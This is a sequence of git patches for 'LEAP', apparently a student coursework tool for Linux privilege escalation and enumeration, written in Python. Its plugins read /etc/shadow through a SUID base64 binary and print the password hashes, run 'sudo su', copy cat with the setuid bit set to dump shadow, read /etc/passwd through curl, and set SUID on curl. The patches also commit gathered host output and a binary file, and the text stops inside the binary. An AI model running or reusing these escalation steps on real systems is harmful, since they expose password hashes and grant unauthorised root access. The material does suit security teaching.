ens.append(lEnum_ConfidentialInfoandUsers()) shouldQuit=False From b4a76d83105819ae6ab9ef55d2d0e5cd77a5fb76 Mon Sep 17 00:00:00 2001 From: Gav Date: Sat, 5 Dec 2020 00:29:50 +0000 Subject: [PATCH 14/31] finished base64 privesc and updated menu, basic task completed, need to complete intermediate and advanced task --- src/jh_plugins.py | 38 ++++++++++++++++++++++++++++++++++++-- src/leap.py | 3 +++ 2 files changed, 39 insertions(+), 2 deletions(-) diff --git a/src/jh_plugins.py b/src/jh_plugins.py index 046ce320..eee2e3c5 100644 --- a/src/jh_plugins.py +++ b/src/jh_plugins.py @@ -4,12 +4,13 @@ import os, tempfile -import pathlib,stat +import pathlib, stat import subprocess import pty +import base64 # A very basic method, but useful def shellRun(command): @@ -99,10 +100,43 @@ def execute(self): parts=languageData.split() parts=parts[6].split("=") print(f"Language: {parts[1]}") + class lPrivesc_Base64Escalator(PrivEsc): def __init__(self): + PrivEsc.__init__(self) self.name="Base64Escalator" self.author="Josh Hallstrom" self.description="Uses a dangerous SUID bit on Base64 to get the contents of /etc/shadow" - + def execute(self): + print() + print('Executing...') + print() + base64Path="/usr/bin/base64" + suid=checkBinary(base64Path) + if not suid: + print(f"base64 does not have the SUID bit set") + return + shadow=grabOutput(('base64', '/etc/shadow')) + shadow=base64.b64decode(shadow) + shadow=shadow.decode('ascii') + parts=shadow.split('\n') + for part in parts: + userParts=part.split(":") + if part == '': + continue + elif userParts[1]=='x': + continue + elif userParts[1]=='!': + continue + print(f"username: {userParts[0]}") + print(f"password hash: {userParts[1]}") + print() + + +def checkBinary(p): + pl=pathlib.Path(p) + suid=False + suid=(pl.stat().st_mode & stat.S_ISUID)!=0 + return suid + diff --git a/src/leap.py b/src/leap.py index 3d4f2f42..82603732 100755 --- a/src/leap.py +++ b/src/leap.py @@ -3,11 +3,14 @@ from js_plugins import DumbSudoEscalation from jh_plugins import lEnum_OperatingSystem from jh_plugins import lEnum_ConfidentialInfoandUsers +from jh_plugins import lPrivesc_Base64Escalator + if __name__=="__main__": #Make a list of available privescs pes=[] pes.append(DumbSudoEscalation("swordfish")) + pes.append(lPrivesc_Base64Escalator()) #And enumerations ens=[] ens.append(lEnum_OperatingSystem()) From 8f6113c9b94e04ce077257510e12b8bb214d14d5 Mon Sep 17 00:00:00 2001 From: mospher <63190518+mospher142@users.noreply.github.com> Date: Sun, 6 Dec 2020 16:24:55 +0000 Subject: [PATCH 15/31] New update -> Leap update -> TESTS update --- src/all_information.py | 4 ++-- src/js_plugins.py | 21 +++++++++++++++++---- src/leap.py | 19 +++++++++++++++---- src/plugins.py | 3 --- src/test.py | 27 --------------------------- tests/test_dummy.py | 21 ++++++++++++++++----- 6 files changed, 50 insertions(+), 45 deletions(-) delete mode 100644 src/test.py diff --git a/src/all_information.py b/src/all_information.py index bc12f535..33e0aecc 100644 --- a/src/all_information.py +++ b/src/all_information.py @@ -10,8 +10,8 @@ print(bcolors.CGREY + "====" + bcolors.ENDC + bcolors.WARNING + "[BASIC INFORMATION]" + bcolors.ENDC + bcolors.CGREY + "="*37 + bcolors.ENDC) - info=[] - info.append(HostInfo()) + ens=[] + ens.append(HostInfo()) print(bcolors.CGREY + "="*60 + bcolors.ENDC) diff --git a/src/js_plugins.py b/src/js_plugins.py index 237132b5..9b9cf774 100644 --- a/src/js_plugins.py +++ b/src/js_plugins.py @@ -1,6 +1,6 @@ """ Plugins for LEAP designed by James Shuttleworth """ -from plugins import Information, PrivEsc, Enumeration +from plugins import PrivEsc, Enumeration from subprocess import Popen, PIPE @@ -27,7 +27,6 @@ def shellRun(command): print('\033c') # clean console - def checkBinary(p): pl=pathlib.Path(p) exists = pl.exists() @@ -56,6 +55,19 @@ def execute(self): output = grabOutput(["/usr/bin/curl", "file:///etc/passwd"]) print(output) +class Abuse(PrivEsc): + def __init__(self): + self.name="Abus" + self.author="" + self.description="" + def execute(self): + print('\033c') # clean console + os.system("sudo su") + + + + + class FileSystem(Enumeration): def __init__(self): @@ -91,11 +103,12 @@ def execute(self): def grabOutput(command): sp = subprocess.run(command, stdout=subprocess.PIPE) + return sp.stdout.decode() -class HostInfo(Information): +class HostInfo(Enumeration): def __init__(self): - Information.__init__(self) + Enumeration.__init__(self) print("\n", end="") print('\tHostname: ' + '\n\t-> ' + grabOutput("hostname"), end="") diff --git a/src/leap.py b/src/leap.py index d4203c43..f0b16b34 100755 --- a/src/leap.py +++ b/src/leap.py @@ -5,6 +5,7 @@ #--PRIVILEGE ESCALATION------------------ from js_plugins import Curl +from js_plugins import Abuse #--ENUMERATION--------------------------- from js_plugins import FileSystem @@ -24,6 +25,7 @@ #Make a list of available privescs pes=[] + pes.append(Abuse()) #And enumerations @@ -55,8 +57,7 @@ while not shouldQuit: - s=platform.system() - print(f"OS: {s}") + print(bcolors.CGREY + "====" + bcolors.ENDC + bcolors.WARNING + "[MENU]" + bcolors.ENDC + bcolors.CGREY + "="*50 + bcolors.ENDC) @@ -71,15 +72,23 @@ print("\t|-" + bcolors.CRED + f"[E{i}] " + bcolors.ENDC + bcolors.BOLD + bcolors.UNDERLINE + f"{ens[i].name}" + bcolors.ENDC) print("\n") - print(bcolors.CGREY + "="*60 + bcolors.ENDC) + print(bcolors.CGREY + "====" + bcolors.ENDC + bcolors.WARNING + "[COMMANDS]" + bcolors.ENDC + bcolors.CGREY + "="*46 + bcolors.ENDC) print("\nBASIC INFORMATION[+] \nRESET[R] \nEXIT[Q]") - print() + print("\n") + print(bcolors.CGREY + "====" + bcolors.ENDC + bcolors.WARNING + "[OS]" + bcolors.ENDC + bcolors.CGREY + "="*52 + bcolors.ENDC) + s=platform.system() + print(f"\n{s}") + + print("\n\n") + userInput=input("Enter a selection: ") print(bcolors.CGREY + "="*60 + bcolors.ENDC) #remove whitespace, make uppercase userInput=userInput.strip().upper() + + if userInput == "Q": shouldQuit=True print('\033c') # clean console @@ -91,6 +100,8 @@ elif userInput == "R": print('\033c') + + #Privesc or enumeration elif (userInput[0] in ["P","E"] and len(userInput)>1): #Make sure it's more than 1 letter diff --git a/src/plugins.py b/src/plugins.py index 4396840f..25bcdb53 100644 --- a/src/plugins.py +++ b/src/plugins.py @@ -35,9 +35,6 @@ class Enumeration(Item): def info(self): return "ENUMERATIONESC: " + Item.info(self) -class Information(Item): - def info(self): - return "INFORMATION: " + Item.info(self) diff --git a/src/test.py b/src/test.py deleted file mode 100644 index b266a138..00000000 --- a/src/test.py +++ /dev/null @@ -1,27 +0,0 @@ -import os -import subprocess - - -dic = { 'E1':'find /etc/ -readable -type f 2>/dev/null', 'E2':'whoami'} -""" -choise = input("Select: ") - -for key, values in dic.items(): - if choise == key: - subprocess.call('find /etc/ -readable -type f 2>/dev/null', shell=True) -""" - -os.system("chmod s+ /usr/bin/curl") - - - - - - - - - - - - - diff --git a/tests/test_dummy.py b/tests/test_dummy.py index 17d9548f..cf1be2e4 100644 --- a/tests/test_dummy.py +++ b/tests/test_dummy.py @@ -1,11 +1,22 @@ import pytest import sys -sys.path.append("./src/") -import leap +import platform +sys.path.append("../src/") +import js_plugins +import plugins -flag="MzZwcx15NHQzOnxzcnI9cjk=" +def test_grabOutput(): + output=js_plugins.grabOutput(["which", "doesnotexist"]) + assert len(output)==0 -def test_dummy(): - assert leap.dummyFunc(leap.unDummyFunc(flag))==flag +def test_grabOutput_something(): + output=js_plugins.grabOutput(["which", "ls"]) + assert len(output)>0 + assert "ls" in output + +def test_hostinfo(): + h=js_plugins.HostInfo() + assert isinstance(h,plugins.Enumeration) + assert isinstance(h,plugins.Item) From e4328738a4b92bf54e87be518595d414076e6bc5 Mon Sep 17 00:00:00 2001 From: Gav Date: Wed, 9 Dec 2020 13:54:32 +0000 Subject: [PATCH 16/31] added simple windows enumeration --- src/jh_plugins.py | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/src/jh_plugins.py b/src/jh_plugins.py index eee2e3c5..7a08ed18 100644 --- a/src/jh_plugins.py +++ b/src/jh_plugins.py @@ -37,7 +37,6 @@ def __init__(self): self.author="Josh Hallstrom" self.description="Gathers information on the hosts confidential information and users" def execute(self): - temp="" print("Executing...") print() print(f"Current user: "+grabOutput(['whoami'])) @@ -85,7 +84,6 @@ def __init__(self): self.author="Josh Hallstrom" self.description="Gathers information on the host operating system" def execute(self): - temp="" print("Executing...") print() distData=grabOutput(['cat', '/etc/issue']) @@ -100,6 +98,18 @@ def execute(self): parts=languageData.split() parts=parts[6].split("=") print(f"Language: {parts[1]}") + +class wEnum_WindowsServices(Enumeration): + def __init__(self): + Enumeration.__init__(self) + self.name="wEnum_WindowsServices" + self.author="Josh Hallstrom" + self.description="Displays all started Windows services" + def execute(self): + print("Executing...") + print() + os.system("net start") + class lPrivesc_Base64Escalator(PrivEsc): def __init__(self): @@ -132,7 +142,7 @@ def execute(self): print(f"password hash: {userParts[1]}") print() - + def checkBinary(p): pl=pathlib.Path(p) From 7b624f3637c141b30b6ae2d7ff3539a828761db2 Mon Sep 17 00:00:00 2001 From: Gav Date: Wed, 9 Dec 2020 16:49:01 +0000 Subject: [PATCH 17/31] Started and completed intermediate and advanced task, only need to add other group members plugins then I am finished --- src/leap.py | 112 +++++++++++++++++++++++++++++----------------------- 1 file changed, 63 insertions(+), 49 deletions(-) diff --git a/src/leap.py b/src/leap.py index 82603732..5441312c 100755 --- a/src/leap.py +++ b/src/leap.py @@ -1,65 +1,79 @@ #!/usr/bin/env python3 - +import platform +import sys from js_plugins import DumbSudoEscalation from jh_plugins import lEnum_OperatingSystem from jh_plugins import lEnum_ConfidentialInfoandUsers from jh_plugins import lPrivesc_Base64Escalator - +from jh_plugins import wEnum_WindowsServices if __name__=="__main__": - #Make a list of available privescs - pes=[] - pes.append(DumbSudoEscalation("swordfish")) - pes.append(lPrivesc_Base64Escalator()) - #And enumerations - ens=[] - ens.append(lEnum_OperatingSystem()) - ens.append(lEnum_ConfidentialInfoandUsers()) + + system=platform.system() + if system=="Linux": + #Make a list of available privescs + pes=[] + pes.append(lPrivesc_Base64Escalator()) + #And enumerations + ens=[] + ens.append(lEnum_OperatingSystem()) + ens.append(lEnum_ConfidentialInfoandUsers()) + elif system=="Windows": + pes=[] + + ens=[] + ens.append(wEnum_WindowsServices()) - shouldQuit=False + if len(sys.argv) > 1: + if sys.argv[1]=='enumerate': + for i in range(len(ens)): + print(ens[i].info()) + ens[i].execute() + else: + shouldQuit=False - while not shouldQuit: - print("=".join("-"*10)) - print(" Logo here...") - print("LEAP Menu") + while not shouldQuit: + print("=".join("-"*10)) + print(" Logo here...") + print("LEAP Menu") - print("\nPrivescs:") - for i in range(len(pes)): - print(f"\tP{i}: {pes[i].name}") + print("\nPrivescs:") + for i in range(len(pes)): + print(f"\tP{i}: {pes[i].name}") - print("\nEnumerations:") - for i in range(len(ens)): - print(f"\tE{i}: {ens[i].name}") + print("\nEnumerations:") + for i in range(len(ens)): + print(f"\tE{i}: {ens[i].name}") - print("\nQ to quit") - print() - userInput=input("Enter a selection: ") - print("-"*20) - #remove whitespace, make uppercase - userInput=userInput.strip().upper() + print("\nQ to quit") + print() + userInput=input("Enter a selection: ") + print("-"*20) + #remove whitespace, make uppercase + userInput=userInput.strip().upper() - if userInput == "Q": - shouldQuit=True + if userInput == "Q": + shouldQuit=True - elif (userInput[0] in ["P","E"] and #Privesc or enumeration - len(userInput)>1): #Make sure it's more than 1 letter + elif (userInput[0] in ["P","E"] and #Privesc or enumeration + len(userInput)>1): #Make sure it's more than 1 letter - useList=ens - if userInput[0]=="P": - useList=pes - index=userInput[1:] #Get the number part... - for i in index: - if not i.isdigit(): - print("Invalid selection:",userInput) - break - else: - index=int(index) #Make it a number - if index Date: Wed, 9 Dec 2020 19:09:07 +0000 Subject: [PATCH 18/31] Actually finished advanced task now, NEED TO DO TESTING --- src/leap.py | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/src/leap.py b/src/leap.py index 5441312c..83fcbc4e 100755 --- a/src/leap.py +++ b/src/leap.py @@ -73,7 +73,17 @@ print(chosen.info()) yesno=input("Enter YES in capitals to execute...") if yesno.strip()=="YES": - chosen.execute() - + print(f"Save to file?") + yesno=input("Y/N: ") + if yesno.strip()=="Y": + filename=input("Enter name of file/full file path: ") + data=open(filename, 'w') + sys.stdout=data + chosen.execute() + sys.stdout=sys.__stdout__ + data.close + else: + chosen.execute() + else: print("Unknown command") From ea1b8acfaa7746fa69fd480b29cbd1822df4f460 Mon Sep 17 00:00:00 2001 From: mospher <63190518+mospher142@users.noreply.github.com> Date: Thu, 10 Dec 2020 21:33:23 +0000 Subject: [PATCH 19/31] Update Version 4 --- src/commandline.py | 40 +++++++++++ src/js_plugins.py | 168 ++++++++++++++++++++++++++++++++------------ src/leap.py | 38 +++++----- tests/test_dummy.py | 1 + 4 files changed, 181 insertions(+), 66 deletions(-) create mode 100644 src/commandline.py diff --git a/src/commandline.py b/src/commandline.py new file mode 100644 index 00000000..636340f8 --- /dev/null +++ b/src/commandline.py @@ -0,0 +1,40 @@ +import argparse +import os, sys +import subprocess + + + +parser = argparse.ArgumentParser() + +parser.add_argument('-enum', help="execute a enumeration -> -enum [enumeration]") + +parser.add_argument("-d", help="\tchoose the file directory -> -d [/directory]") +parser.add_argument('--create', help="create a file -> --create [file_name].txt") + + +args = parser.parse_args() + +#dictionary +dic = { 'E1':'find /etc/ -readable -type f 2>/dev/null', 'E2':'whoami'} + + +if args.enum: + for key, value in dic.items(): + if args.enum == key: + os.system(value) +elif args.enum is None: + pass + +if args.create: + for key, value in dic.items(): + if args.enum == key: + with open(f"{args.d}{args.create}.txt", "w+") as file: + file.write(os.popen(value).read()) +elif args.create is None: + pass + + + + + + diff --git a/src/js_plugins.py b/src/js_plugins.py index 9b9cf774..6b5b70fb 100644 --- a/src/js_plugins.py +++ b/src/js_plugins.py @@ -8,7 +8,15 @@ import platform -import os, subprocess, tempfile, pathlib, pty, stat, time +import os, subprocess, tempfile, pathlib, pty, stat + +import calendar + +from datetime import datetime + +import tempfile + + # A very basic method, but useful @@ -26,6 +34,9 @@ def shellRun(command): os.unlink(fname) print('\033c') # clean console +def grabOutput(command): + sp = subprocess.run(command, stdout=subprocess.PIPE) + return sp.stdout.decode() def checkBinary(p): pl=pathlib.Path(p) @@ -36,6 +47,17 @@ def checkBinary(p): return(exists, suid) +#function to create a file +def file(choose, name, directory, text): + if choose == "YES": + #append and read a file [a+] + with open(f"../gather_info/{directory}/{name}.txt", "a+") as f: + f.write(text) + os.system(f"cat ../gather_info/{directory}/{name}.txt") #show information inside the file + + elif choose == "NO": + print("Display Information") + class Curl(PrivEsc): def __init__(self): @@ -45,77 +67,135 @@ def __init__(self): def execute(self): print('\033c') # clean console curlPath="/usr/bin/curl" - exists, suid=checkBinary(curlPath) - if not exists: - print(f"{curlPath} does not exist" ) - return + suid=checkBinary(curlPath) if not suid: - print(f'Curl not have the SUID bit set') + print(f"{curlPath} does not exist SUID bit set" ) return output = grabOutput(["/usr/bin/curl", "file:///etc/passwd"]) print(output) -class Abuse(PrivEsc): + +class FileSystem(Enumeration): def __init__(self): - self.name="Abus" - self.author="" - self.description="" + Enumeration.__init__(self) + self.name="File Systems" + self.author="Pedro Tinoco" + self.description="What can be found in /var/" + self.version = "1.0" def execute(self): - print('\033c') # clean console - os.system("sudo su") - + print('\033c') + var = [] + var.append(grabOutput(['ls', '-alh', '/var/log'])) + var.append(grabOutput(['ls', '-alh', '/var/mail'])) + var.append(grabOutput(['ls', '-alh', '/var/spool'])) + + create_file = input("Do you want save this information in a file: YES or NO ") + if create_file == "YES": + directory = "file_system" + name = input("Name of the file: ") + print('\033c') + for i in var: + file(create_file, name, directory, i + "-"*60 + '\n' ) + else: + print('\033c') + for i in var: + print(i) + +class Service_Applications(Enumeration): + def __init__(self): + Enumeration.__init__(self) + self.name="Service and Applications" + self.author="Pedro Tinoco" + self.description="Services are runnig" + self.version = "1.0" + def execute(self): + print('\033c') # clean console + enum = "YES" + while enum == "YES": + + var = [] + dictionary = {"s1":"ps aux", "s2":"ps aux | grep root", "s3":"ls -alh /sbin/"} + -class FileSystem(Enumeration): + for key, value in dictionary.items(): + print(f'{key}={value}\n') + + choose = input("Select Service Application Enumeration: ") + for key, value in dictionary.items(): + if choose == key: + os.system(value) + + if choose == "s1": + var.append(grabOutput(['ps', 'aux'])) + elif choose == "s2": + var.append(grabOutput(['ps', 'aux', '|', 'grep root'])) + elif choose == "s3": + var.append(grabOutput(['ls', '-alh', '/sbin'])) + + create_file = input("\nDo you want save this information in a file: YES or NO ") + + if create_file == "YES": + directory = "service_application" + name = input("Name of the file: ") + print('\033c') + for i in var: + file(create_file, name, directory, i + "-"*60 + '\n' ) + + enum = input("\nDo you want execute other FileSytem Enumeration ?") + + else: + enum = input("\nDo you want execute other FileSytem Enumeration ?") + print('\033c') + + + + +class Sudo(Enumeration): def __init__(self): Enumeration.__init__(self) - self.name="File Systems - Identify SUID and GUID files" + self.name="SUDO" self.author="Pedro Tinoco" - self.description="" - self.version = "1.0" - self.distribution="Linux" - + self.description="Services are runnig" + self.version = "1.0" def execute(self): - print('\033c') - print("WARNING: THIS GONNA TAKE A WHILE") - time.sleep(2) - print('\033c') # clean console - print("===[Identify SUID and GUID files]","="*36) - subprocess.call("find / -perm -u=s -type f 2>/dev/null", shell=True) + print("SUDO") + os.system("sudo sh -c 'cp $(which cat) .; chmod +s ./cat'") + os.system("./cat /etc/shadow") -class Service_Applications(Enumeration): + +class Windows(Enumeration): def __init__(self): Enumeration.__init__(self) - self.name="Service and Applications - What are the versions of the running services" + self.name="Windows Enumeration" self.author="Pedro Tinoco" - self.description="Of the services displayed, which are vulnerable? It might be a long check but it might pay off." - self.version = "1.0" - self.distribution="Linux" - + self.description="get the system information of target system, this includes installed hotfixes" + self.version = "1.0" def execute(self): - print('\033c') # clean console - print("===[What are the versions of the running services]","="*36) - subprocess.call("ps -ef | grep root", shell=True) + os.system("systeminfo") -def grabOutput(command): - sp = subprocess.run(command, stdout=subprocess.PIPE) - - return sp.stdout.decode() + + class HostInfo(Enumeration): def __init__(self): Enumeration.__init__(self) print("\n", end="") - print('\tHostname: ' + '\n\t-> ' + grabOutput("hostname"), end="") + print('\tHostname: ' + '\n\t-> ' + bcolors.BOLD + bcolors.UNDERLINE + grabOutput(["hostname"]) + bcolors.ENDC, end="") - print('\n\tUser: ' + '\n\t-> ' + grabOutput("whoami"), end="") + print('\n\tUser: ' + '\n\t-> ' + bcolors.BOLD + bcolors.UNDERLINE + grabOutput(["whoami"]) + bcolors.ENDC, end="") + + print('\n\tCurrently Logged in Users: ' + '\n\t-> ' + bcolors.BOLD + bcolors.UNDERLINE + grabOutput(["who", "-H"]) + bcolors.ENDC, end="") + + print('\n\tOS: ' + '\n\t-> ' + bcolors.BOLD + bcolors.UNDERLINE + platform.system() + bcolors.ENDC, end="") + + print('\n\n\tCurrent Directory: ' + '\n\t-> ' + bcolors.BOLD + bcolors.UNDERLINE + os.getcwd() + bcolors.ENDC, end="") - print('\n\tOS: ' + '\n\t-> ' + platform.system(), end="") #print('\n\tUser: ' + '\n\t-> ' + grabOutput("w"), end="") @@ -123,12 +203,12 @@ def __init__(self): idData = grabOutput("id") parts = idData.split(" ") for part in parts[:2]: - print(f"\t-> {part}") + print(f"\t-> " + bcolors.BOLD + bcolors.UNDERLINE + part + bcolors.ENDC) print("\n\tGroup Info: ") - groups = parts[2][7:].split(",") + groups = parts[2][7:].split() #put split(",") and make like id format for g in groups: - print(f"\t-> {g}") + print(f"\t-> " + bcolors.BOLD + bcolors.UNDERLINE + g + bcolors.ENDC) diff --git a/src/leap.py b/src/leap.py index f0b16b34..2cbc1a42 100755 --- a/src/leap.py +++ b/src/leap.py @@ -5,17 +5,21 @@ #--PRIVILEGE ESCALATION------------------ from js_plugins import Curl -from js_plugins import Abuse + #--ENUMERATION--------------------------- from js_plugins import FileSystem from js_plugins import Service_Applications +from js_plugins import Network_Info +from js_plugins import Sudo + #--LIBRARIES---------------------------- import time import os import subprocess import argparse import platform +import argparse @@ -25,20 +29,24 @@ #Make a list of available privescs pes=[] - pes.append(Abuse()) - + pes.append(Curl()) + + #And enumerations ens=[] ens.append(FileSystem()) ens.append(Service_Applications()) + ens.append(Network_Info()) + ens.append(Sudo()) + + shouldQuit=False print('\033c') # clean console - """ #Progresse bar loading total = 1000 @@ -50,15 +58,10 @@ time.sleep(0.001) # emulating long-playing job i += 1 """ - - - print('\033c') # clean console - while not shouldQuit: - print(bcolors.CGREY + "====" + bcolors.ENDC + bcolors.WARNING + "[MENU]" + bcolors.ENDC + bcolors.CGREY + "="*50 + bcolors.ENDC) print(bcolors.CGREEN + "\n[PRIVILEGE ESC]" + bcolors.ENDC) @@ -76,18 +79,12 @@ print("\nBASIC INFORMATION[+] \nRESET[R] \nEXIT[Q]") print("\n") - print(bcolors.CGREY + "====" + bcolors.ENDC + bcolors.WARNING + "[OS]" + bcolors.ENDC + bcolors.CGREY + "="*52 + bcolors.ENDC) - s=platform.system() - print(f"\n{s}") - - print("\n\n") userInput=input("Enter a selection: ") print(bcolors.CGREY + "="*60 + bcolors.ENDC) #remove whitespace, make uppercase userInput=userInput.strip().upper() - if userInput == "Q": shouldQuit=True @@ -100,9 +97,9 @@ elif userInput == "R": print('\033c') - - - + + + #Privesc or enumeration elif (userInput[0] in ["P","E"] and len(userInput)>1): #Make sure it's more than 1 letter @@ -123,10 +120,7 @@ yesno=input("Enter YES in capitals to execute... ") if yesno.strip()=="YES": chosen.execute(); - - - - + else: print("Unknown command") time.sleep(1) diff --git a/tests/test_dummy.py b/tests/test_dummy.py index cf1be2e4..afbfee33 100644 --- a/tests/test_dummy.py +++ b/tests/test_dummy.py @@ -15,6 +15,7 @@ def test_grabOutput_something(): output=js_plugins.grabOutput(["which", "ls"]) assert len(output)>0 assert "ls" in output + def test_hostinfo(): h=js_plugins.HostInfo() From 401d055b7c0ed58f5821e561af8c484cee847e17 Mon Sep 17 00:00:00 2001 From: mospher <63190518+mospher142@users.noreply.github.com> Date: Fri, 11 Dec 2020 01:39:24 +0000 Subject: [PATCH 20/31] Update version 5 --- gather_info/file_system/var.txt | 29 ++++++++++++++++++++++ gather_info/service_application/ps.txt | 9 +++++++ src/cat | Bin 0 -> 43416 bytes src/js_plugins.py | 32 +++++++++++-------------- src/leap.py | 14 +++++------ src/tt.py | 18 ++++++++++++++ 6 files changed, 76 insertions(+), 26 deletions(-) create mode 100644 gather_info/file_system/var.txt create mode 100644 gather_info/service_application/ps.txt create mode 100644 src/cat create mode 100644 src/tt.py diff --git a/gather_info/file_system/var.txt b/gather_info/file_system/var.txt new file mode 100644 index 00000000..7aad3b31 --- /dev/null +++ b/gather_info/file_system/var.txt @@ -0,0 +1,29 @@ +total 504K +drwxrwxr-x 1 root syslog 4.0K Nov 29 13:39 . +drwxr-xr-x 1 root root 4.0K Aug 4 22:42 .. +-rw-r--r-- 1 root root 17K Dec 10 17:31 alternatives.log +drwxr-xr-x 1 root root 4.0K Dec 10 17:31 apt +-rw-rw---- 1 root utmp 768 Dec 10 17:16 btmp +drwxr-xr-x 1 root root 4.0K Jul 21 01:23 dist-upgrade +-rw-r--r-- 1 root root 186K Dec 10 17:31 dpkg.log +-rw-r--r-- 1 root root 629 Nov 29 13:39 fontconfig.log +drwxr-sr-x 1 root systemd-journal 4.0K Aug 4 22:39 journal +drwxr-xr-x 1 landscape landscape 4.0K Apr 27 2020 landscape +-rw-rw-r-- 1 root utmp 286K Dec 10 10:58 lastlog +drwxr-x--- 1 root adm 4.0K Apr 13 2020 unattended-upgrades +-rw-rw-r-- 1 root utmp 0 Aug 4 22:42 wtmp +------------------------------------------------------------ +total 0 +drwxrwsrwt 1 root mail 4.0K Dec 10 10:55 . +drwxr-xr-x 1 root root 4.0K Aug 4 22:42 .. +-rw------- 1 root mail 0 Dec 10 10:55 root +------------------------------------------------------------ +total 0 +drwxr-xr-x 1 root root 4.0K Dec 10 11:03 . +drwxr-xr-x 1 root root 4.0K Aug 4 22:42 .. +drwxr-xr-x 1 root root 4.0K Aug 4 22:40 cron +lrwxrwxrwx 1 root root 7 Aug 4 22:39 mail -> ../mail +drwxrws--- 1 smmsp smmsp 4.0K Dec 10 11:02 mqueue-client +drwxr-xr-x 1 root root 4.0K Dec 10 10:58 postfix +drwx------ 1 syslog adm 4.0K Feb 11 2020 rsyslog +------------------------------------------------------------ diff --git a/gather_info/service_application/ps.txt b/gather_info/service_application/ps.txt new file mode 100644 index 00000000..2df6e1ff --- /dev/null +++ b/gather_info/service_application/ps.txt @@ -0,0 +1,9 @@ +USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND +root 1 0.0 0.0 8936 316 ? Ssl 10:19 0:00 /init +root 6279 0.0 0.0 18920 2872 ? T 17:22 0:00 sudo vim /etc/pam.d/su +root 6280 0.0 0.0 29696 6872 ? T 17:23 0:00 vim /etc/pam.d/su +root 6840 0.0 0.0 8944 232 tty2 Ss 23:40 0:00 /init +mospher 6841 0.0 0.0 18212 3656 tty2 S 23:40 0:00 /bin/bash --login +mospher 6870 0.0 0.0 26736 9460 tty2 S 23:41 0:00 python3 leap.py +mospher 6883 0.0 0.0 18648 1892 tty2 R 23:43 0:00 ps aux +------------------------------------------------------------ diff --git a/src/cat b/src/cat new file mode 100644 index 0000000000000000000000000000000000000000..22d3b95415b2713fb990dde23db5344b36198de4 GIT binary patch literal 43416 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 